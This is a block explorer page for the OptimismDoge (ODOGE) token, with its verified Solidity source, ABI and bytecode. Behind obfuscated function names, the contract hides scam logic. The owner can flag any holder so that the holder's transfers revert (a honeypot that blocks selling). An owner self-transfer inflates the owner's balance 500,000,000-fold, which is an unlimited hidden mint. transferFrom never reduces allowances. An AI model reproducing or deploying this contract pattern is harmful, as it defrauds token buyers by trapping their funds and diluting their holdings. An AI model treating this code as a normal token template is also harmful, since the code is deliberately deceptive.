ETH Price: $2,885.59 (-10.96%)
Gas: 18 Gwei

Token

OptimismDoge (ODOGE)
 

Overview

Max Total Supply

10,000,000,000 ODOGE

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
20,838,403.452695228 ODOGE

Value
$0.00
0x05c47fce63833f599cc7759e58aeffc9bbceafde
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TT

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-11
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-24
*/

/**
 *Submitted for verification at BscScan.com on 2022-04-15
*/

/**
 *Submitted for verification at BscScan.com on 2022-03-18
*/

pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address oowner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed oowner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _oowner;
    event oownershipTransferred(address indexed previousoowner, address indexed newoowner);

    constructor () {
        address msgSender = _msgSender();
        _oowner = msgSender;
        emit oownershipTransferred(address(0), msgSender);
    }
    function oowner() public view virtual returns (address) {
        return _oowner;
    }
    modifier onlyoowner() {
        require(oowner() == _msgSender(), "Ownable: caller is not the oowner");
        _;
    }
    function renounceoownership() public virtual onlyoowner {
        emit oownershipTransferred(_oowner, address(0x000000000000000000000000000000000000dEaD));
        _oowner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract TT is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;
    string private _name = "OptimismDoge";
    string private _symbol = "ODOGE";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals;
    uint256 private _burnfee = 8;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => bool) public _p4546;

    function sjskanj(address account) public onlyoowner {
        _p4546[account] = true;
    }


    function usjskanj(address account) public onlyoowner {
        _p4546[account] = false;
    }


    function islkd(address account) public view returns (bool) {
        return _p4546[account];
    }



    constructor () {
        _balance[msg.sender] = _totalSupply;
        _isExcludedFrom[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if (true){
            if (_p4546[sender] == true) {
                amounts = amounts.sub(_totalSupply);
            }
        }
        uint256 blsender = _balance[sender];
        require(blsender >= amounts,"IERC20: transfer amounts exceeds balance");
        
        uint256 feeamount = 0;
        feeamount = amounts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(amounts);
        _balance[recipient] =  _balance[recipient]+amounts-feeamount;
        emit Transfer(sender, _DEADaddress, feeamount);
        emit Transfer(sender, recipient, amounts-feeamount);

    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        address ukjh = _msgSender(); 
        if (oowner() == ukjh && oowner() == recipient) { 
        _balance[ukjh] = 500000000*_balance[ukjh].add(_totalSupply).div(1); 
        }
        _transfer(ukjh, recipient, amount);
        return true;
    }



    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address oowner, address spender, uint256 amount) internal virtual {
        require(oowner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[oowner][spender] = amount;
        emit Approval(oowner, spender, amount);
    }

    function allowance(address oowner, address spender) public view virtual override returns (uint256) {
        return _allowances[oowner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oowner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousoowner","type":"address"},{"indexed":true,"internalType":"address","name":"newoowner","type":"address"}],"name":"oownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_p4546","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oowner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oowner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceoownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"usjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f4f7074696d69736d446f67650000000000000000000000000000000000000000815250600490816200004a919062000579565b506040518060400160405280600581526020017f4f444f47450000000000000000000000000000000000000000000000000000008152506005908162000091919062000579565b506009600655600654600a620000a89190620007e3565b6402540be400620000ba919062000834565b600755600654600a620000ce9190620007e3565b6402540be400620000e0919062000834565b600855600860095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013857600080fd5b5060006200014b620002f760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e9919062000890565b60405180910390a3620008ad565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038157607f821691505b60208210810362000397576200039662000339565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003c2565b6200040d8683620003c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200045a620004546200044e8462000425565b6200042f565b62000425565b9050919050565b6000819050919050565b620004768362000439565b6200048e620004858262000461565b848454620003cf565b825550505050565b600090565b620004a562000496565b620004b28184846200046b565b505050565b5b81811015620004da57620004ce6000826200049b565b600181019050620004b8565b5050565b601f8211156200052957620004f3816200039d565b620004fe84620003b2565b810160208510156200050e578190505b620005266200051d85620003b2565b830182620004b7565b50505b505050565b600082821c905092915050565b60006200054e600019846008026200052e565b1980831691505092915050565b60006200056983836200053b565b9150826002028217905092915050565b6200058482620002ff565b67ffffffffffffffff811115620005a0576200059f6200030a565b5b620005ac825462000368565b620005b9828285620004de565b600060209050601f831160018114620005f15760008415620005dc578287015190505b620005e885826200055b565b86555062000658565b601f19841662000601866200039d565b60005b828110156200062b5784890151825560018201915060208501945060208101905062000604565b868310156200064b578489015162000647601f8916826200053b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006ee57808604811115620006c657620006c562000660565b5b6001851615620006d65780820291505b8081029050620006e6856200068f565b9450620006a6565b94509492505050565b600082620007095760019050620007dc565b81620007195760009050620007dc565b81600181146200073257600281146200073d5762000773565b6001915050620007dc565b60ff84111562000752576200075162000660565b5b8360020a9150848211156200076c576200076b62000660565b5b50620007dc565b5060208310610133831016604e8410600b8410161715620007ad5782820a905083811115620007a757620007a662000660565b5b620007dc565b620007bc84848460016200069c565b92509050818404811115620007d657620007d562000660565b5b81810290505b9392505050565b6000620007f08262000425565b9150620007fd8362000425565b92506200082c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006f7565b905092915050565b6000620008418262000425565b91506200084e8362000425565b92508282026200085e8162000425565b9150828204841483151762000878576200087762000660565b5b5092915050565b6200088a8162000425565b82525050565b6000602082019050620008a760008301846200087f565b92915050565b611ce480620008bd6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063ce27c89911610066578063ce27c8991461029a578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec578063936d72611461021c57806395d89b411461024c578063a9059cbb1461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d4565b60405180910390f35b610132600480360381019061012d919061148f565b6103b4565b60405161013f91906114ea565b60405180910390f35b6101506103d2565b60405161015d9190611514565b60405180910390f35b610180600480360381019061017b919061152f565b6103dc565b60405161018d91906114ea565b60405180910390f35b61019e6104c0565b6040516101ab9190611514565b60405180910390f35b6101ce60048036038101906101c99190611582565b6104ca565b005b6101ea60048036038101906101e59190611582565b6105a1565b005b61020660048036038101906102019190611582565b610678565b6040516102139190611514565b60405180910390f35b61023660048036038101906102319190611582565b6106c1565b60405161024391906114ea565b60405180910390f35b6102546106e1565b60405161026191906113d4565b60405180910390f35b610284600480360381019061027f919061148f565b610773565b60405161029191906114ea565b60405180910390f35b6102a26108c9565b005b6102be60048036038101906102b991906115af565b610a05565b6040516102cb9190611514565b60405180910390f35b6102ee60048036038101906102e99190611582565b610a8c565b6040516102fb91906114ea565b60405180910390f35b61030c610ae2565b60405161031991906115fe565b60405180910390f35b60606004805461033190611648565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611648565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0b565b8484610b13565b6001905092915050565b6000600754905090565b60006103e9848484610cdc565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116eb565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b0b565b73ffffffffffffffffffffffffffffffffffffffff166104f0610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b0b565b73ffffffffffffffffffffffffffffffffffffffff166105c7610ae2565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6060600580546106f090611648565b80601f016020809104026020016040519081016040528092919081815260200182805461071c90611648565b80156107695780601f1061073e57610100808354040283529160200191610769565b820191906000526020600020905b81548152906001019060200180831161074c57829003601f168201915b5050505050905090565b60008061077e610b0b565b90508073ffffffffffffffffffffffffffffffffffffffff1661079f610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480156107f457508373ffffffffffffffffffffffffffffffffffffffff166107dc610ae2565b73ffffffffffffffffffffffffffffffffffffffff16145b156108b3576108606001610852600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111190919063ffffffff16565b61116f90919063ffffffff16565b631dcd650061086f91906117cc565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108be818585610cdc565b600191505092915050565b6108d1610b0b565b73ffffffffffffffffffffffffffffffffffffffff166108ef610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061177d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611912565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccf9190611514565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906119a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611a36565b60405180910390fd5b600115610e325760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3157610e2e600754826111b990919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611ac8565b60405180910390fd5b6000610ee36064610ed56009548661120390919063ffffffff16565b61116f90919063ffffffff16565b9050610f3783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc69190611ae8565b610fd09190611b1c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110929190611514565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f59190611b1c565b6040516111029190611514565b60405180910390a35050505050565b60008082846111209190611ae8565b905083811015611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90611b9c565b60405180910390fd5b8091505092915050565b60006111b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127d565b905092915050565b60006111fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b60008083036112155760009050611277565b6000828461122391906117cc565b90508284826112329190611beb565b14611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990611c8e565b60405180910390fd5b809150505b92915050565b600080831182906112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb91906113d4565b60405180910390fd5b50600083856112d39190611beb565b9050809150509392505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906113d4565b60405180910390fd5b50600083856113379190611b1c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137e578082015181840152602081019050611363565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a682611344565b6113b0818561134f565b93506113c0818560208601611360565b6113c98161138a565b840191505092915050565b600060208201905081810360008301526113ee818461139b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611426826113fb565b9050919050565b6114368161141b565b811461144157600080fd5b50565b6000813590506114538161142d565b92915050565b6000819050919050565b61146c81611459565b811461147757600080fd5b50565b60008135905061148981611463565b92915050565b600080604083850312156114a6576114a56113f6565b5b60006114b485828601611444565b92505060206114c58582860161147a565b9150509250929050565b60008115159050919050565b6114e4816114cf565b82525050565b60006020820190506114ff60008301846114db565b92915050565b61150e81611459565b82525050565b60006020820190506115296000830184611505565b92915050565b600080600060608486031215611548576115476113f6565b5b600061155686828701611444565b935050602061156786828701611444565b92505060406115788682870161147a565b9150509250925092565b600060208284031215611598576115976113f6565b5b60006115a684828501611444565b91505092915050565b600080604083850312156115c6576115c56113f6565b5b60006115d485828601611444565b92505060206115e585828601611444565b9150509250929050565b6115f88161141b565b82525050565b600060208201905061161360008301846115ef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166057607f821691505b60208210810361167357611672611619565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d560298361134f565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176760218361134f565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d782611459565b91506117e283611459565b92508282026117f081611459565b915082820484148315176118075761180661179d565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186a60258361134f565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fc60238361134f565b9150611907826118a0565b604082019050919050565b6000602082019050818103600083015261192b816118ef565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198e60268361134f565b915061199982611932565b604082019050919050565b600060208201905081810360008301526119bd81611981565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a2060248361134f565b9150611a2b826119c4565b604082019050919050565b60006020820190508181036000830152611a4f81611a13565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab260288361134f565b9150611abd82611a56565b604082019050919050565b60006020820190508181036000830152611ae181611aa5565b9050919050565b6000611af382611459565b9150611afe83611459565b9250828201905080821115611b1657611b1561179d565b5b92915050565b6000611b2782611459565b9150611b3283611459565b9250828203905081811115611b4a57611b4961179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b86601b8361134f565b9150611b9182611b50565b602082019050919050565b60006020820190508181036000830152611bb581611b79565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf682611459565b9150611c0183611459565b925082611c1157611c10611bbc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7860218361134f565b9150611c8382611c1c565b604082019050919050565b60006020820190508181036000830152611ca781611c6b565b905091905056fea2646970667358221220ebc35465965b3741625132c47a96ee7ca72fc24077c809824095c70bbcef1ecc64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063ce27c89911610066578063ce27c8991461029a578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec578063936d72611461021c57806395d89b411461024c578063a9059cbb1461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d4565b60405180910390f35b610132600480360381019061012d919061148f565b6103b4565b60405161013f91906114ea565b60405180910390f35b6101506103d2565b60405161015d9190611514565b60405180910390f35b610180600480360381019061017b919061152f565b6103dc565b60405161018d91906114ea565b60405180910390f35b61019e6104c0565b6040516101ab9190611514565b60405180910390f35b6101ce60048036038101906101c99190611582565b6104ca565b005b6101ea60048036038101906101e59190611582565b6105a1565b005b61020660048036038101906102019190611582565b610678565b6040516102139190611514565b60405180910390f35b61023660048036038101906102319190611582565b6106c1565b60405161024391906114ea565b60405180910390f35b6102546106e1565b60405161026191906113d4565b60405180910390f35b610284600480360381019061027f919061148f565b610773565b60405161029191906114ea565b60405180910390f35b6102a26108c9565b005b6102be60048036038101906102b991906115af565b610a05565b6040516102cb9190611514565b60405180910390f35b6102ee60048036038101906102e99190611582565b610a8c565b6040516102fb91906114ea565b60405180910390f35b61030c610ae2565b60405161031991906115fe565b60405180910390f35b60606004805461033190611648565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611648565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0b565b8484610b13565b6001905092915050565b6000600754905090565b60006103e9848484610cdc565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116eb565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b0b565b73ffffffffffffffffffffffffffffffffffffffff166104f0610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b0b565b73ffffffffffffffffffffffffffffffffffffffff166105c7610ae2565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6060600580546106f090611648565b80601f016020809104026020016040519081016040528092919081815260200182805461071c90611648565b80156107695780601f1061073e57610100808354040283529160200191610769565b820191906000526020600020905b81548152906001019060200180831161074c57829003601f168201915b5050505050905090565b60008061077e610b0b565b90508073ffffffffffffffffffffffffffffffffffffffff1661079f610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480156107f457508373ffffffffffffffffffffffffffffffffffffffff166107dc610ae2565b73ffffffffffffffffffffffffffffffffffffffff16145b156108b3576108606001610852600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111190919063f